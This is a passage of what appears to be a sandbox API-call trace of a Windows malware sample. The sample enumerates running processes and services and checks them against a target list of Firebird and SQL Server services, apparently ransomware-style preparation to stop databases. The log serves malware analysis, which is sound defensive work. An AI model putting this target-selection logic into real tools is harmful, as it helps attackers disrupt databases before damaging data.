lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.751] lstrlenW (lpString="svchost.exe") returned 11 [0225.751] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.751] lstrlenW (lpString="svchost.exe") returned 11 [0225.751] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0225.752] lstrlenW (lpString="dwm.exe") returned 7 [0225.752] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.752] lstrlenW (lpString="svchost.exe") returned 11 [0225.752] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.753] lstrlenW (lpString="svchost.exe") returned 11 [0225.753] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.753] lstrlenW (lpString="svchost.exe") returned 11 [0225.753] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.754] lstrlenW (lpString="svchost.exe") returned 11 [0225.754] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.755] lstrlenW (lpString="svchost.exe") returned 11 [0225.755] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.755] lstrlenW (lpString="svchost.exe") returned 11 [0225.755] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.756] lstrlenW (lpString="svchost.exe") returned 11 [0225.756] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.756] lstrlenW (lpString="svchost.exe") returned 11 [0225.756] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.757] lstrlenW (lpString="svchost.exe") returned 11 [0225.757] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.757] lstrlenW (lpString="svchost.exe") returned 11 [0225.757] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0225.758] lstrlenW (lpString="spoolsv.exe") returned 11 [0225.758] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.759] lstrlenW (lpString="svchost.exe") returned 11 [0225.759] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0225.759] lstrlenW (lpString="audiodg.exe") returned 11 [0225.759] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0225.760] lstrlenW (lpString="sihost.exe") returned 10 [0225.760] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.760] lstrlenW (lpString="svchost.exe") returned 11 [0225.760] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0225.761] lstrlenW (lpString="taskhostw.exe") returned 13 [0225.761] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0225.761] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0225.761] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0225.762] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0225.762] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0225.762] lstrlenW (lpString="Memory Compression") returned 18 [0225.763] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0225.763] lstrlenW (lpString="explorer.exe") returned 12 [0225.763] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0225.764] lstrlenW (lpString="SearchUI.exe") returned 12 [0225.764] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0225.765] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0225.765] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0225.765] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0225.765] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0225.766] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0225.766] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0225.767] lstrlenW (lpString="finbbp.exe") returned 10 [0225.767] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0225.767] lstrlenW (lpString="cmd.exe") returned 7 [0225.767] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0225.768] lstrlenW (lpString="conhost.exe") returned 11 [0225.768] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0225.768] CloseHandle (hObject=0x39c) returned 1 [0225.768] Sleep (dwMilliseconds=0x1f4) [0226.553] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6fb6c8 [0226.555] EnumServicesStatusExW (in: hSCManager=0x6fb6c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0226.556] GetLastError () returned 0xea [0226.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x421de40 [0226.556] EnumServicesStatusExW (in: hSCManager=0x6fb6c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x421de40, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x421de40, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0226.558] CloseServiceHandle (hSCObject=0x6fb6c8) returned 1 [0226.558] lstrlenW (lpString="AppXSvc") returned 7 [0226.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0226.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0226.558] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0226.558] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0226.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0226.559] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0226.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0226.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0226.559] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0226.559] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0226.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0226.559] lstrlenW (lpString="Audiosrv") returned 8 [0226.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0226.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0226.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0226.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0226.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0226.559] lstrlenW (lpString="BFE") returned 3 [0226.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0226.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0226.559] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0226.559] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0226.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0226.559] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0226.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0226.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0226.559] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0226.559] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0226.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0226.560] lstrlenW (lpString="CDPSvc") returned 6 [0226.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0226.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0226.560] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0226.560] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0226.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0226.560] lstrlenW (lpString="ClickToRunSvc") returned 13 [0226.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0226.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0226.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0226.560] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0226.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0226.560] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0226.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0226.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0226.560] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0226.560] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0226.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0226.560] lstrlenW (lpString="CryptSvc") returned 8 [0226.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0226.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0226.560] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0226.560] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0226.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0226.560] lstrlenW (lpString="DcomLaunch") returned 10 [0226.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0226.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0226.561] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0226.561] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0226.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0226.561] lstrlenW (lpString="DeviceAssociationService") returned 24 [0226.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0226.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0226.561] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0226.561] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0226.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0226.561] lstrlenW (lpString="Dhcp") returned 4 [0226.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0226.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0226.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0226.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0226.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0226.562] lstrlenW (lpString="Dnscache") returned 8 [0226.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0226.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0226.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0226.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0226.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0226.562] lstrlenW (lpString="DPS") returned 3 [0226.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0226.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0226.562] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0226.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0226.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0226.562] lstrlenW (lpString="DusmSvc") returned 7 [0226.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0226.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0226.562] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0226.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0226.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0226.562] lstrlenW (lpString="EventLog") returned 8 [0226.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0226.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0226.562] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0226.562] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0226.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0226.563] lstrlenW (lpString="EventSystem") returned 11 [0226.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0226.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0226.563] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0226.563] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0226.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0226.563] lstrlenW (lpString="FontCache") returned 9 [0226.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0226.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0226.563] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0226.563] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0226.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0226.563] lstrlenW (lpString="gpsvc") returned 5 [0226.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0226.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0226.563] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0226.563] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0226.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0226.563] lstrlenW (lpString="iphlpsvc") returned 8 [0226.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0226.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0226.563] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0226.563] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0226.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0226.563] lstrlenW (lpString="KeyIso") returned 6 [0226.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0226.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0226.564] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0226.564] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0226.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0226.564] lstrlenW (lpString="LanmanServer") returned 12 [0226.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0226.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0226.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0226.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0226.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0226.564] lstrlenW (lpString="LanmanWorkstation") returned 17 [0226.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0226.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0226.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0226.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0226.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0226.564] lstrlenW (lpString="lfsvc") returned 5 [0226.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0226.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0226.564] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0226.564] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0226.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0226.564] lstrlenW (lpString="lmhosts") returned 7 [0226.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0226.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0226.565] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0226.565] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0226.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0226.565] lstrlenW (lpString="LSM") returned 3 [0226.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0226.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0226.565] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0226.565] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0226.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0226.565] lstrlenW (lpString="MpsSvc") returned 6 [0226.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0226.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0226.565] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0226.565] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0226.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0226.565] lstrlenW (lpString="NcbService") returned 10 [0226.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0226.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0226.565] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0226.565] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0226.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0226.565] lstrlenW (lpString="netprofm") returned 8 [0226.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0226.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0226.565] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0226.565] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0226.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0226.565] lstrlenW (lpString="NgcSvc") returned 6 [0226.565] lstrcmpiW 